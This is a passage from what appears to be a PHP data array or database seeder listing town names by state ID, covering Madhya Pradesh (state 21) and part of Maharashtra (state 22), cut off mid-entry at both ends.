'baldeogarh'],\n ['state_id' => '21', 'name' => 'bamaniya'],\n ['state_id' => '21', 'name' => 'bamhani'],\n ['state_id' => '21', 'name' => 'bamor'],\n ['state_id' => '21', 'name' => 'bamora'],\n ['state_id' => '21', 'name' => 'banda'],\n ['state_id' => '21', 'name' => 'bangawan'],\n ['state_id' => '21', 'name' => 'bansatar kheda'],\n ['state_id' => '21', 'name' => 'baraily'],\n ['state_id' => '21', 'name' => 'barela'],\n ['state_id' => '21', 'name' => 'barghat'],\n ['state_id' => '21', 'name' => 'bargi'],\n ['state_id' => '21', 'name' => 'barhi'],\n ['state_id' => '21', 'name' => 'barigarh'],\n ['state_id' => '21', 'name' => 'barwaha'],\n ['state_id' => '21', 'name' => 'barwani'],\n ['state_id' => '21', 'name' => 'basoda'],\n ['state_id' => '21', 'name' => 'begamganj'],\n ['state_id' => '21', 'name' => 'beohari'],\n ['state_id' => '21', 'name' => 'berasia'],\n ['state_id' => '21', 'name' => 'betma'],\n ['state_id' => '21', 'name' => 'betul'],\n ['state_id' => '21', 'name' => 'betul bazar'],\n ['state_id' => '21', 'name' => 'bhainsdehi'],\n ['state_id' => '21', 'name' => 'bhamodi'],\n ['state_id' => '21', 'name' => 'bhander'],\n ['state_id' => '21', 'name' => 'bhanpura'],\n ['state_id' => '21', 'name' => 'bharveli'],\n ['state_id' => '21', 'name' => 'bhaurasa'],\n ['state_id' => '21', 'name' => 'bhavra'],\n ['state_id' => '21', 'name' => 'bhedaghat'],\n ['state_id' => '21', 'name' => 'bhikangaon'],\n ['state_id' => '21', 'name' => 'bhilakhedi'],\n ['state_id' => '21', 'name' => 'bhind'],\n ['state_id' => '21', 'name' => 'bhitarwar'],\n ['state_id' => '21', 'name' => 'bhopal'],\n ['state_id' => '21', 'name' => 'bhuibandh'],\n ['state_id' => '21', 'name' => 'biaora'],\n ['state_id' => '21', 'name' => 'bijawar'],\n ['state_id' => '21', 'name' => 'bijeypur'],\n ['state_id' => '21', 'name' => 'bijrauni'],\n ['state_id' => '21', 'name' => 'bijuri'],\n ['state_id' => '21', 'name' => 'bilaua'],\n ['state_id' => '21', 'name' => 'bilpura'],\n ['state_id' => '21', 'name' => 'bina railway colony'],\n ['state_id' => '21', 'name' => 'bina-etawa'],\n ['state_id' => '21', 'name' => 'birsinghpur'],\n ['state_id' => '21', 'name' => 'boda'],\n ['state_id' => '21', 'name' => 'budhni'],\n ['state_id' => '21', 'name' => 'burhanpur'],\n ['state_id' => '21', 'name' => 'burhar'],\n ['state_id' => '21', 'name' => 'chachaura binaganj'],\n ['state_id' => '21', 'name' => 'chakghat'],\n ['state_id' => '21', 'name' => 'chandameta butar'],\n ['state_id' => '21', 'name' => 'chanderi'],\n ['state_id' => '21', 'name' => 'chandia'],\n ['state_id' => '21', 'name' => 'chandla'],\n ['state_id' => '21', 'name' => 'chaurai khas'],\n ['state_id' => '21', 'name' => 'chhatarpur'],\n ['state_id' => '21', 'name' => 'chhindwara'],\n ['state_id' => '21', 'name' => 'chhota chhindwara'],\n ['state_id' => '21', 'name' => 'chichli'],\n ['state_id' => '21', 'name' => 'chitrakut'],\n ['state_id' => '21', 'name' => 'churhat'],\n ['state_id' => '21', 'name' => 'daboh'],\n ['state_id' => '21', 'name' => 'dabra'],\n ['state_id' => '21', 'name' => 'damoh'],\n ['state_id' => '21', 'name' => 'damua'],\n ['state_id' => '21', 'name' => 'datia'],\n ['state_id' => '21', 'name' => 'deodara'],\n ['state_id' => '21', 'name' => 'deori'],\n ['state_id' => '21', 'name' => 'deori khas'],\n ['state_id' => '21', 'name' => 'depalpur'],\n ['state_id' => '21', 'name' => 'devendranagar'],\n ['state_id' => '21', 'name' => 'devhara'],\n ['state_id' => '21', 'name' => 'dewas'],\n ['state_id' => '21', 'name' => 'dhamnod'],\n ['state_id' => '21', 'name' => 'dhana'],\n ['state_id' => '21', 'name' => 'dhanpuri'],\n ['state_id' => '21', 'name' => 'dhar'],\n ['state_id' => '21', 'name' => 'dharampuri'],\n ['state_id' => '21', 'name' => 'dighawani'],\n ['state_id' => '21', 'name' => 'diken'],\n ['state_id' => '21', 'name' => 'dindori'],\n ['state_id' => '21', 'name' => 'dola'],\n ['state_id' => '21', 'name' => 'dumar kachhar'],\n ['state_id' => '21', 'name' => 'dungariya chhapara'],\n ['state_id' => '21', 'name' => 'gadarwara'],\n ['state_id' => '21', 'name' => 'gairatganj'],\n ['state_id' => '21', 'name' => 'gandhi sagar hydel colony'],\n ['state_id' => '21', 'name' => 'ganjbasoda'],\n ['state_id' => '21', 'name' => 'garhakota'],\n ['state_id' => '21', 'name' => 'garhi malhara'],\n ['state_id' => '21', 'name' => 'garoth'],\n ['state_id' => '21', 'name' => 'gautapura'],\n ['state_id' => '21', 'name' => 'ghansor'],\n ['state_id' => '21', 'name' => 'ghuwara'],\n ['state_id' => '21', 'name' => 'gogaon'],\n ['state_id' => '21', 'name' => 'gogapur'],\n ['state_id' => '21', 'name' => 'gohad'],\n ['state_id' => '21', 'name' => 'gormi'],\n ['state_id' => '21', 'name' => 'govindgarh'],\n ['state_id' => '21', 'name' => 'guna'],\n ['state_id' => '21', 'name' => 'gurh'],\n ['state_id' => '21', 'name' => 'gwalior'],\n ['state_id' => '21', 'name' => 'hanumana'],\n ['state_id' => '21', 'name' => 'harda'],\n ['state_id' => '21', 'name' => 'harpalpur'],\n ['state_id' => '21', 'name' => 'harrai'],\n ['state_id' => '21', 'name' => 'harsud'],\n ['state_id' => '21', 'name' => 'hatod'],\n ['state_id' => '21', 'name' => 'hatpipalya'],\n ['state_id' => '21', 'name' => 'hatta'],\n ['state_id' => '21', 'name' => 'hindoria'],\n ['state_id' => '21', 'name' => 'hirapur'],\n ['state_id' => '21', 'name' => 'hoshangabad'],\n ['state_id' => '21', 'name' => 'ichhawar'],\n ['state_id' => '21', 'name' => 'iklehra'],\n ['state_id' => '21', 'name' => 'indergarh'],\n ['state_id' => '21', 'name' => 'indore'],\n ['state_id' => '21', 'name' => 'isagarh'],\n ['state_id' => '21', 'name' => 'itarsi'],\n ['state_id' => '21', 'name' => 'jabalpur'],\n ['state_id' => '21', 'name' => 'jabalpur cantonment'],\n ['state_id' => '21', 'name' => 'jabalpur g.c.f'],\n ['state_id' => '21', 'name' => 'jaisinghnagar'],\n ['state_id' => '21', 'name' => 'jaithari'],\n ['state_id' => '21', 'name' => 'jaitwara'],\n ['state_id' => '21', 'name' => 'jamai'],\n ['state_id' => '21', 'name' => 'jaora'],\n ['state_id' => '21', 'name' => 'jatachhapar'],\n ['state_id' => '21', 'name' => 'jatara'],\n ['state_id' => '21', 'name' => 'jawad'],\n ['state_id' => '21', 'name' => 'jawar'],\n ['state_id' => '21', 'name' => 'jeronkhalsa'],\n ['state_id' => '21', 'name' => 'jhabua'],\n ['state_id' => '21', 'name' => 'jhundpura'],\n ['state_id' => '21', 'name' => 'jiran'],\n ['state_id' => '21', 'name' => 'jirapur'],\n ['state_id' => '21', 'name' => 'jobat'],\n ['state_id' => '21', 'name' => 'joura'],\n ['state_id' => '21', 'name' => 'kailaras'],\n ['state_id' => '21', 'name' => 'kaimur'],\n ['state_id' => '21', 'name' => 'kakarhati'],\n ['state_id' => '21', 'name' => 'kalichhapar'],\n ['state_id' => '21', 'name' => 'kanad'],\n ['state_id' => '21', 'name' => 'kannod'],\n ['state_id' => '21', 'name' => 'kantaphod'],\n ['state_id' => '21', 'name' => 'kareli'],\n ['state_id' => '21', 'name' => 'karera'],\n ['state_id' => '21', 'name' => 'kari'],\n ['state_id' => '21', 'name' => 'karnawad'],\n ['state_id' => '21', 'name' => 'karrapur'],\n ['state_id' => '21', 'name' => 'kasrawad'],\n ['state_id' => '21', 'name' => 'katangi'],\n ['state_id' => '21', 'name' => 'katni'],\n ['state_id' => '21', 'name' => 'kelhauri'],\n ['state_id' => '21', 'name' => 'khachrod'],\n ['state_id' => '21', 'name' => 'khajuraho'],\n ['state_id' => '21', 'name' => 'khamaria'],\n ['state_id' => '21', 'name' => 'khand'],\n ['state_id' => '21', 'name' => 'khandwa'],\n ['state_id' => '21', 'name' => 'khaniyadhana'],\n ['state_id' => '21', 'name' => 'khargapur'],\n ['state_id' => '21', 'name' => 'khargone'],\n ['state_id' => '21', 'name' => 'khategaon'],\n ['state_id' => '21', 'name' => 'khetia'],\n ['state_id' => '21', 'name' => 'khilchipur'],\n ['state_id' => '21', 'name' => 'khirkiya'],\n ['state_id' => '21', 'name' => 'khujner'],\n ['state_id' => '21', 'name' => 'khurai'],\n ['state_id' => '21', 'name' => 'kolaras'],\n ['state_id' => '21', 'name' => 'kotar'],\n ['state_id' => '21', 'name' => 'kothi'],\n ['state_id' => '21', 'name' => 'kotma'],\n ['state_id' => '21', 'name' => 'kukshi'],\n ['state_id' => '21', 'name' => 'kumbhraj'],\n ['state_id' => '21', 'name' => 'kurwai'],\n ['state_id' => '21', 'name' => 'lahar'],\n ['state_id' => '21', 'name' => 'lakhnadon'],\n ['state_id' => '21', 'name' => 'lateri'],\n ['state_id' => '21', 'name' => 'laundi'],\n ['state_id' => '21', 'name' => 'lidhora khas'],\n ['state_id' => '21', 'name' => 'lodhikheda'],\n ['state_id' => '21', 'name' => 'loharda'],\n ['state_id' => '21', 'name' => 'machalpur'],\n ['state_id' => '21', 'name' => 'madhogarh'],\n ['state_id' => '21', 'name' => 'maharajpur'],\n ['state_id' => '21', 'name' => 'maheshwar'],\n ['state_id' => '21', 'name' => 'mahidpur'],\n ['state_id' => '21', 'name' => 'maihar'],\n ['state_id' => '21', 'name' => 'majholi'],\n ['state_id' => '21', 'name' => 'makronia'],\n ['state_id' => '21', 'name' => 'maksi'],\n ['state_id' => '21', 'name' => 'malaj khand'],\n ['state_id' => '21', 'name' => 'malanpur'],\n ['state_id' => '21', 'name' => 'malhargarh'],\n ['state_id' => '21', 'name' => 'manasa'],\n ['state_id' => '21', 'name' => 'manawar'],\n ['state_id' => '21', 'name' => 'mandav'],\n ['state_id' => '21', 'name' => 'mandideep'],\n ['state_id' => '21', 'name' => 'mandla'],\n ['state_id' => '21', 'name' => 'mandleshwar'],\n ['state_id' => '21', 'name' => 'mandsaur'],\n ['state_id' => '21', 'name' => 'manegaon'],\n ['state_id' => '21', 'name' => 'mangawan'],\n ['state_id' => '21', 'name' => 'manglaya sadak'],\n ['state_id' => '21', 'name' => 'manpur'],\n ['state_id' => '21', 'name' => 'mau'],\n ['state_id' => '21', 'name' => 'mauganj'],\n ['state_id' => '21', 'name' => 'meghnagar'],\n ['state_id' => '21', 'name' => 'mehara gaon'],\n ['state_id' => '21', 'name' => 'mehgaon'],\n ['state_id' => '21', 'name' => 'mhaugaon'],\n ['state_id' => '21', 'name' => 'mhow'],\n ['state_id' => '21', 'name' => 'mihona'],\n ['state_id' => '21', 'name' => 'mohgaon'],\n ['state_id' => '21', 'name' => 'morar'],\n ['state_id' => '21', 'name' => 'morena'],\n ['state_id' => '21', 'name' => 'morwa'],\n ['state_id' => '21', 'name' => 'multai'],\n ['state_id' => '21', 'name' => 'mundi'],\n ['state_id' => '21', 'name' => 'mungaoli'],\n ['state_id' => '21', 'name' => 'murwara'],\n ['state_id' => '21', 'name' => 'nagda'],\n ['state_id' => '21', 'name' => 'nagod'],\n ['state_id' => '21', 'name' => 'nagri'],\n ['state_id' => '21', 'name' => 'naigarhi'],\n ['state_id' => '21', 'name' => 'nainpur'],\n ['state_id' => '21', 'name' => 'nalkheda'],\n ['state_id' => '21', 'name' => 'namli'],\n ['state_id' => '21', 'name' => 'narayangarh'],\n ['state_id' => '21', 'name' => 'narsimhapur'],\n ['state_id' => '21', 'name' => 'narsingarh'],\n ['state_id' => '21', 'name' => 'narsinghpur'],\n ['state_id' => '21', 'name' => 'narwar'],\n ['state_id' => '21', 'name' => 'nasrullaganj'],\n ['state_id' => '21', 'name' => 'naudhia'],\n ['state_id' => '21', 'name' => 'naugaon'],\n ['state_id' => '21', 'name' => 'naurozabad'],\n ['state_id' => '21', 'name' => 'neemuch'],\n ['state_id' => '21', 'name' => 'nepa nagar'],\n ['state_id' => '21', 'name' => 'neuton chikhli kalan'],\n ['state_id' => '21', 'name' => 'nimach'],\n ['state_id' => '21', 'name' => 'niwari'],\n ['state_id' => '21', 'name' => 'obedullaganj'],\n ['state_id' => '21', 'name' => 'omkareshwar'],\n ['state_id' => '21', 'name' => 'orachha'],\n ['state_id' => '21', 'name' => 'ordinance factory itarsi'],\n ['state_id' => '21', 'name' => 'pachmarhi'],\n ['state_id' => '21', 'name' => 'pachmarhi cantonment'],\n ['state_id' => '21', 'name' => 'pachore'],\n ['state_id' => '21', 'name' => 'palchorai'],\n ['state_id' => '21', 'name' => 'palda'],\n ['state_id' => '21', 'name' => 'palera'],\n ['state_id' => '21', 'name' => 'pali'],\n ['state_id' => '21', 'name' => 'panagar'],\n ['state_id' => '21', 'name' => 'panara'],\n ['state_id' => '21', 'name' => 'pandaria'],\n ['state_id' => '21', 'name' => 'pandhana'],\n ['state_id' => '21', 'name' => 'pandhurna'],\n ['state_id' => '21', 'name' => 'panna'],\n ['state_id' => '21', 'name' => 'pansemal'],\n ['state_id' => '21', 'name' => 'parasia'],\n ['state_id' => '21', 'name' => 'pasan'],\n ['state_id' => '21', 'name' => 'patan'],\n ['state_id' => '21', 'name' => 'patharia'],\n ['state_id' => '21', 'name' => 'pawai'],\n ['state_id' => '21', 'name' => 'petlawad'],\n ['state_id' => '21', 'name' => 'phuph kalan'],\n ['state_id' => '21', 'name' => 'pichhore'],\n ['state_id' => '21', 'name' => 'pipariya'],\n ['state_id' => '21', 'name' => 'pipliya mandi'],\n ['state_id' => '21', 'name' => 'piploda'],\n ['state_id' => '21', 'name' => 'pithampur'],\n ['state_id' => '21', 'name' => 'polay kalan'],\n ['state_id' => '21', 'name' => 'porsa'],\n ['state_id' => '21', 'name' => 'prithvipur'],\n ['state_id' => '21', 'name' => 'raghogarh'],\n ['state_id' => '21', 'name' => 'rahatgarh'],\n ['state_id' => '21', 'name' => 'raisen'],\n ['state_id' => '21', 'name' => 'rajakhedi'],\n ['state_id' => '21', 'name' => 'rajgarh'],\n ['state_id' => '21', 'name' => 'rajnagar'],\n ['state_id' => '21', 'name' => 'rajpur'],\n ['state_id' => '21', 'name' => 'rampur baghelan'],\n ['state_id' => '21', 'name' => 'rampur naikin'],\n ['state_id' => '21', 'name' => 'rampura'],\n ['state_id' => '21', 'name' => 'ranapur'],\n ['state_id' => '21', 'name' => 'ranipura'],\n ['state_id' => '21', 'name' => 'ratangarh'],\n ['state_id' => '21', 'name' => 'ratlam'],\n ['state_id' => '21', 'name' => 'ratlam kasba'],\n ['state_id' => '21', 'name' => 'rau'],\n ['state_id' => '21', 'name' => 'rehli'],\n ['state_id' => '21', 'name' => 'rehti'],\n ['state_id' => '21', 'name' => 'rewa'],\n ['state_id' => '21', 'name' => 'sabalgarh'],\n ['state_id' => '21', 'name' => 'sagar'],\n ['state_id' => '21', 'name' => 'sagar cantonment'],\n ['state_id' => '21', 'name' => 'sailana'],\n ['state_id' => '21', 'name' => 'sanawad'],\n ['state_id' => '21', 'name' => 'sanchi'],\n ['state_id' => '21', 'name' => 'sanwer'],\n ['state_id' => '21', 'name' => 'sarangpur'],\n ['state_id' => '21', 'name' => 'sardarpur'],\n ['state_id' => '21', 'name' => 'sarni'],\n ['state_id' => '21', 'name' => 'satai'],\n ['state_id' => '21', 'name' => 'satna'],\n ['state_id' => '21', 'name' => 'satwas'],\n ['state_id' => '21', 'name' => 'sausar'],\n ['state_id' => '21', 'name' => 'sehore'],\n ['state_id' => '21', 'name' => 'semaria'],\n ['state_id' => '21', 'name' => 'sendhwa'],\n ['state_id' => '21', 'name' => 'seondha'],\n ['state_id' => '21', 'name' => 'seoni'],\n ['state_id' => '21', 'name' => 'seoni malwa'],\n ['state_id' => '21', 'name' => 'sethia'],\n ['state_id' => '21', 'name' => 'shahdol'],\n ['state_id' => '21', 'name' => 'shahgarh'],\n ['state_id' => '21', 'name' => 'shahpur'],\n ['state_id' => '21', 'name' => 'shahpura'],\n ['state_id' => '21', 'name' => 'shajapur'],\n ['state_id' => '21', 'name' => 'shamgarh'],\n ['state_id' => '21', 'name' => 'sheopur'],\n ['state_id' => '21', 'name' => 'shivpuri'],\n ['state_id' => '21', 'name' => 'shujalpur'],\n ['state_id' => '21', 'name' => 'sidhi'],\n ['state_id' => '21', 'name' => 'sihora'],\n ['state_id' => '21', 'name' => 'singolo'],\n ['state_id' => '21', 'name' => 'singrauli'],\n ['state_id' => '21', 'name' => 'sinhasa'],\n ['state_id' => '21', 'name' => 'sirgora'],\n ['state_id' => '21', 'name' => 'sirmaur'],\n ['state_id' => '21', 'name' => 'sironj'],\n ['state_id' => '21', 'name' => 'sitamau'],\n ['state_id' => '21', 'name' => 'sohagpur'],\n ['state_id' => '21', 'name' => 'sonkatch'],\n ['state_id' => '21', 'name' => 'soyatkalan'],\n ['state_id' => '21', 'name' => 'suhagi'],\n ['state_id' => '21', 'name' => 'sultanpur'],\n ['state_id' => '21', 'name' => 'susner'],\n ['state_id' => '21', 'name' => 'suthaliya'],\n ['state_id' => '21', 'name' => 'tal'],\n ['state_id' => '21', 'name' => 'talen'],\n ['state_id' => '21', 'name' => 'tarana'],\n ['state_id' => '21', 'name' => 'taricharkalan'],\n ['state_id' => '21', 'name' => 'tekanpur'],\n ['state_id' => '21', 'name' => 'tendukheda'],\n ['state_id' => '21', 'name' => 'teonthar'],\n ['state_id' => '21', 'name' => 'thandia'],\n ['state_id' => '21', 'name' => 'tikamgarh'],\n ['state_id' => '21', 'name' => 'timarni'],\n ['state_id' => '21', 'name' => 'tirodi'],\n ['state_id' => '21', 'name' => 'udaipura'],\n ['state_id' => '21', 'name' => 'ujjain'],\n ['state_id' => '21', 'name' => 'ukwa'],\n ['state_id' => '21', 'name' => 'umaria'],\n ['state_id' => '21', 'name' => 'unchahara'],\n ['state_id' => '21', 'name' => 'unhel'],\n ['state_id' => '21', 'name' => 'vehicle factory jabalpur'],\n ['state_id' => '21', 'name' => 'vidisha'],\n ['state_id' => '21', 'name' => 'vijayraghavgarh'],\n ['state_id' => '21', 'name' => 'waraseoni'],\n ['state_id' => '22', 'name' => 'achalpur'],\n ['state_id' => '22', 'name' => 'aheri'],\n ['state_id' => '22', 'name' => 'ahmadnagar cantonment'],\n ['state_id' => '22', 'name' => 'ahmadpur'],\n ['state_id' => '22', 'name' => 'ahmednagar'],\n ['state_id' => '22', 'name' => 'ajra'],\n ['state_id' => '22', 'name' => 'akalkot'],\n ['state_id' => '22', 'name' => 'akkalkuwa'],\n ['state_id' => '22', 'name' => 'akola'],\n ['state_id' => '22', 'name' => 'akot'],\n ['state_id' => '22', 'name' => 'alandi'],\n ['state_id' => '22', 'name' => 'alibag'],\n ['state_id' => '22', 'name' => 'allapalli'],\n ['state_id' => '22', 'name' => 'alore'],\n ['state_id' => '22', 'name' => 'amalner'],\n ['state_id' => '22', 'name' => 'ambad'],\n ['state_id' => '22', 'name' => 'ambajogai'],\n ['state_id' => '22', 'name' => 'ambernath'],\n ['state_id' => '22', 'name' => 'ambivali tarf wankhal'],\n ['state_id' => '22', 'name' => 'amgaon'],\n ['state_id' => '22', 'name' => 'amravati'],\n ['state_id' => '22', 'name' => 'anjangaon'],\n ['state_id' => '22', 'name' => 'arvi'],\n ['state_id' => '22', 'name' => 'ashta'],\n ['state_id' => '22', 'name' => 'ashti'],\n ['state_id' => '22', 'name' => 'aurangabad'],\n ['state_id' => '22', 'name' => 'aurangabad cantonment'],\n ['state_id' => '22', 'name' => 'ausa'],\n ['state_id' => '22', 'name' => 'babhulgaon'],\n ['state_id' => '22', 'name' => 'badlapur'],\n ['state_id' => '22', 'name' => 'balapur'],\n ['state_id' => '22', 'name' => 'ballarpur'],\n ['state_id' => '22', 'name' => 'baramati'],\n ['state_id' => '22', 'name' => 'barshi'],\n ['state_id' => '22', 'name' => 'basmat'],\n ['state_id' => '22', 'name' => 'beed'],\n ['state_id' => '22', 'name' => 'bhadravati'],\n ['state_id' => '22', 'name' => 'bhagur'],\n ['state_id' => '22', 'name' => 'bhandara'],\n ['state_id' => '22', 'name' => 'bhigvan'],\n ['state_id' => '22', 'name' => 'bhingar'],\n ['state_id' => '22', 'name' => 'bhiwandi'],\n ['state_id' => '22', 'name' => 'bhokhardan'],\n ['state_id' => '22', 'name' => 'bhor'],\n ['state_id' => '22', 'name' => 'bhosari'],\n ['state_id' => '22', 'name' => 'bhum'],\n ['state_id' => '22', 'name' => 'bhusawal'],\n ['state_id' => '22', 'name' => 'bid'],\n ['state_id' => '22', 'name' => 'biloli'],\n ['state_id' => '22', 'name' => 'birwadi'],\n ['state_id' => '22', 'name' => 'boisar'],\n ['state_id' => '22', 'name' => 'bop khel'],\n ['state_id' => '22', 'name' => 'brahmapuri'],\n ['state_id' => '22', 'name' => 'budhgaon'],\n ['state_id' => '22', 'name' => 'buldana'],\n ['state_id' => '22', 'name' => 'buldhana'],\n ['state_id' => '22', 'name' => 'butibori'],\n ['state_id' => '22', 'name' => 'chakan'],\n ['state_id' => '22', 'name' => 'chalisgaon'],\n ['state_id' => '22', 'name' => 'chandrapur'],\n ['state_id' => '22', 'name' => 'chandur'],\n ['state_id' => '22', 'name' => 'chandur bazar'],\n ['state_id' => '22', 'name' => 'chandvad'],\n ['state_id' => '22', 'name' => 'chicholi'],\n ['state_id' => '22', 'name' => 'chikhala'],\n ['state_id' => '22', 'name' => 'chikhaldara'],\n ['state_id' => '22', 'name' => 'chikhli'],\n ['state_id' => '22', 'name' => 'chinchani'],\n ['state_id' => '22', 'name' => 'chinchwad'],\n ['state_id' => '22', 'name' => 'chiplun'],\n ['state_id' => '22', 'name' => 'chopda'],\n ['state_id' => '22', 'name' => 'dabhol'],\n ['state_id' => '22', 'name' => 'dahance'],\n ['state_id' => '22', 'name' => 'dahanu'],\n ['state_id' => '22', 'name' => 'daharu'],\n ['state_id' => '22', 'name' => 'dapoli camp'],\n ['state_id' => '22', 'name' => 'darwa'],\n ['state_id' => '22', 'name' => 'daryapur'],\n ['state_id' => '22', 'name' => 'dattapur'],\n ['state_id' => '22', 'name' => 'daund'],\n ['state_id' => '22', 'name' => 'davlameti'],\n ['state_id' => '22', 'name' => 'deglur'],\n ['state_id' => '22', 'name' => 'dehu road'],\n ['state_id' => '22', 'name' => 'deolali'],\n ['state_id' => '22', 'name' => 'deolali pravara'],\n ['state_id' => '22', 'name' => 'deoli'],\n ['state_id' => '22', 'name' => 'desaiganj'],\n ['state_id' => '22', 'name' => 'deulgaon raja'],\n ['state_id' => '22', 'name' => 'dewhadi'],\n ['state_id' => '22', 'name' => 'dharangaon'],\n ['state_id' => '22', 'name' => 'dharmabad'],\n ['state_id' => '22', 'name' => 'dharur'],\n ['state_id' => '22', 'name' => 'dhatau'],\n ['state_id' => '22', 'name' => 'dhule'],\n ['state_id' => '22', 'name' => 'digdoh'],\n ['state_id' => '22', 'name' => 'diglur'],\n ['state_id' => '22', 'name' => 'digras'],\n ['state_id' => '22', 'name' => 'dombivli'],\n ['state_id' => '22', 'name' => 'dondaicha'],\n ['state_id' => '22', 'name' => 'dudhani'],\n ['state_id' => '22', 'name' => 'durgapur'],\n ['state_id' => '22', 'name' => 'dyane'],\n ['state_id' => '22', 'name' => 'edandol'],\n ['state_id' => '22', 'name' => 'eklahare'],\n ['state_id' => '22', 'name' => 'faizpur'],\n ['state_id' => '22', 'name' => 'fekari'],\n ['state_id' => '22', 'name' => 'gadchiroli'],\n ['state_id' => '22', 'name' => 'gadhinghaj'],\n ['state_id' => '22', 'name' => 'gandhi nagar'],\n ['state_id' => '22', 'name' => 'ganeshpur'],\n ['state_id' => '22', 'name' => 'gangakher'],\n ['state_id' => '22', 'name' => 'gangapur'],\n ['state_id' => '22', 'name' => 'gevrai'],\n ['state_id' => '22', 'name' => 'ghatanji'],\n ['state_id' => '22', 'name' => 'ghoti'],\n ['state_id' => '22', 'name' => 'ghugus'],\n ['state_id' => '22', 'name' => 'ghulewadi'],\n ['state_id' => '22', 'name' => 'godoli'],\n ['state_id' => '22', 'name' => 'gondia'],\n ['state_id' => '22', 'name' => 'guhagar'],\n ['state_id' => '22', 'name' => 'hadgaon'],\n ['state_id' => '22', 'name' => 'harnai beach'],\n ['state_id' => '22', 'name' => 'hinganghat'],\n ['state_id' => '22', 'name' => 'hingoli'],\n ['state_id' => '22', 'name' => 'hupari'],\n ['state_id' => '22', 'name' => 'ichalkaranji'],\n ['state_id' => '22', 'name' => 'igatpuri'],\n ['state_id' => '22', 'name' => 'indapur'],\n ['state_id' => '22', 'name' => 'jaisinghpur'],\n ['state_id' => '22', 'name' => 'jalgaon'],\n ['state_id' => '22', 'name' => 'jalna'],\n ['state_id' => '22', 'name' => 'jamkhed'],\n ['state_id' => '22', 'name' => 'jawhar'],\n ['state_id' => '22', 'name' => 'jaysingpur'],\n ['state_id' => '22', 'name' => 'jejuri'],\n ['state_id' => '22', 'name' => 'jintur'],\n ['state_id' => '22', 'name' => 'junnar'],\n ['state_id' => '22', 'name' => 'kabnur'],\n ['state_id' => '22', 'name' => 'kagal'],\n ['state_id' => '22', 'name' => 'kalamb'],\n ['state_id' => '22', 'name' => 'kalamnuri'],\n ['state_id' => '22', 'name' => 'kalas'],\n ['state_id' => '22', 'name' => 'kalmeshwar'],\n ['state_id' => '22', 'name' => 'kalundre'],\n ['state_id' => '22', 'name' => 'kalyan'],\n ['state_id' => '22', 'name' => 'kamthi'],\n ['state_id' => '22', 'name' => 'kamthi cantonment'],\n ['state_id' => '22', 'name' => 'kandari'],\n ['state_id' => '22', 'name' => 'kandhar'],\n ['state_id' => '22', 'name' => 'kandri'],\n ['state_id' => '22', 'name' => 'kandri ii'],\n ['state_id' => '22', 'name' => 'kanhan'],\n ['state_id' => '22', 'name' => 'kankavli'],\n ['state_id' => '22', 'name' => 'kannad'],\n ['state_id' => '22', 'name' => 'karad'],\n ['state_id' => '22', 'name' => 'karanja'],\n ['state_id' => '22', 'name' => 'karanje tarf'],\n ['state_id' => '22', 'name' => 'karivali'],\n ['state_id' => '22', 'name' => 'karjat'],\n ['state_id' => '22', 'name' => 'karmala'],\n ['state_id' => '22', 'name' => 'kasara budruk'],\n ['state_id' => '22', 'name' => 'katai'],\n ['state_id' => '22', 'name' => 'katkar'],\n ['state_id' => '22', 'name' => 'katol'],\n ['state_id' => '22', 'name' => 'kegaon'],\n ['state_id' => '22', 'name' => 'khadkale'],\n ['state_id' => '22', 'name' => 'khadki'],\n ['state_id' => '22', 'name' => 'khamgaon'],\n ['state_id' => '22', 'name' => 'khapa'],\n ['state_id' => '22', 'name' => 'kharadi'],\n ['state_id' => '22', 'name' => 'kharakvasla'],\n ['state_id' => '22', 'name' => 'khed'],\n ['state_id' => '22', 'name' => 'kherdi'],\n ['state_id' => '22', 'name' => 'khoni'],\n ['state_id' => '22', 'name' => 'khopoli'],\n ['state_id' => '22', 'name' => 'khuldabad'],\n ['state_id' => '22', 'name' => 'kinwat'],\n ['state_id' => '22', 'name' => 'kodoli'],\n ['state_id' => '22', 'name' => 'kolhapur'],\n ['state_id' => '22', 'name' => 'kon'],\n ['state_id' => '22', 'name' => 'kondumal'],\n ['state_id' => '22', 'name' => 'kopargaon'],\n ['state_id' => '22', 'name' => 'kopharad'],\n ['state_id' => '22', 'name' => 'koradi'],\n ['state_id' => '22', 'name' => 'koregaon'],\n ['state_id' => '22', 'name' => 'korochi'],\n ['state_id' => '22', 'name' => 'kudal'],\n ['state_id' => '22', 'name' => 'kundaim'],\n ['state_id' => '22', 'name' => 'kundalwadi'],\n ['state_id' => '22', 'name' => 'kurandvad'],\n ['state_id' => '22', 'name' => 'kurduvadi'],\n ['state_id' => '22', 'name' => 'kusgaon budruk'],\n ['state_id' => '22', 'name' => 'lanja'],\n ['state_id' => '22', 'name' => 'lasalgaon'],\n ['state_id' => '22', 'name' => 'latur'],\n ['state_id' => '22', 'name' => 'loha'],\n ['state_id' => '22', 'name' => 'lohegaon'],\n ['state_id' => '22', 'name' => 'lonar'],\n ['state_id' => '22', 'name' => 'lonavala'],\n ['state_id' => '22', 'name' => 'madhavnagar'],\n ['state_id' => '22', 'name' => 'mahabaleshwar'],\n ['state_id' => '22', 'name' => 'mahad'],\n ['state_id' => '22', 'name' => 'mahadula'],\n ['state_id' => '22', 'name' => 'maindargi'],\n ['state_id' => '22', 'name' => 'majalgaon'],\n ['state_id' => '22', 'name' => 'malegaon'],\n ['state_id' => '22', 'name' => 'malgaon'],\n ['state_id' => '22', 'name' => 'malkapur'],\n ['state_id' => '22', 'name' => 'malwan'],\n ['state_id' => '22', 'name' => 'manadur'],\n ['state_id' => '22', 'name' => 'manchar'],\n ['state_id' => '22', 'name' => 'mangalvedhe'],\n ['state_id' => '22', 'name' => 'mangrul pir'],\n ['state_id' => '22', 'name' => 'manmad'],\n ['state_id' => '22', 'name' => 'manor'],\n ['state_id' => '22', 'name' => 'mansar'],\n ['state_id' => '22', 'name' => 'manwath'],\n ['state_id' => '22', 'name' => 'mapuca'],\n ['state_id' => '22', 'name' => 'matheran'],\n ['state_id' => '22', 'name' => 'mehkar'],\n ['state_id' => '22', 'name' => 'mhasla'],\n ['state_id' => '22', 'name' => 'mhaswad'],\n ['state_id' => '22', 'name' => 'mira bhayandar'],\n ['state_id' => '22', 'name' => 'miraj'],\n ['state_id' => '22', 'name' => 'mohpa'],\n ['state_id' => '22', 'name' => 'mohpada'],\n ['state_id' => '22', 'name' => 'moram'],\n ['state_id' => '22', 'name' => 'morshi'],\n ['state_id' => '22', 'name' => 'mowad'],\n ['state_id' => '22', 'name' => 'mudkhed'],\n ['state_id' => '22', 'name' => 'mukhed'],\n ['state_id' => '22', 'name' => 'mul'],\n ['state_id' => '22', 